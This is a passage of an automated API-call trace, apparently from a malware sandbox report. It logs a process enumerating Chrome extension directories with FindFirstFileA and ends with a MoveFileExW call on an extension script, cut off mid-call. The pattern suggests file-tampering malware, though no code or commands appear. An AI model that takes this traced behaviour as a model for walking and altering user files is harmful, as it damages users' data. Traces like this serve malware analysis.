dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.263] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeff3dd00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeff3dd00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.268] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeff63e60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeff63e60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.273] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeff63e60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeff63e60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.277] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeff63e60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeff63e60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.315] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeffd6280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeffd6280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.320] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeffd6280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeffd6280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.325] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeffd6280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeffd6280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.334] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefffc3e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefffc3e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.340] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xefffc3e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xefffc3e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.346] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0022540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0022540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.351] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0022540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0022540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.358] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0022540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0022540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.364] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf00486a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf00486a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.372] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf00486a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf00486a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.377] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf006e800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf006e800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.382] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf006e800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf006e800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.387] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf006e800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf006e800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.392] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0094960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0094960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.398] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0094960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0094960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.404] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0094960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0094960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.412] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf00baac0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf00baac0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.417] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf00baac0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf00baac0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.426] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf00e0c20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf00e0c20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.431] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf00e0c20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf00e0c20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.439] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0106d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0106d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.443] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0106d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0106d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.448] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0106d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0106d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.453] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf012cee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf012cee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.458] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf012cee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf012cee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.463] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf012cee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf012cee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.469] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0153040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0153040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.475] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0153040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0153040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0192.482] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf0153040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf0153040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0192.488] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ab7660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf01791a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf01791a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549950 [0192.494] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf01791a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf01791a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549990 [0192.654] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: 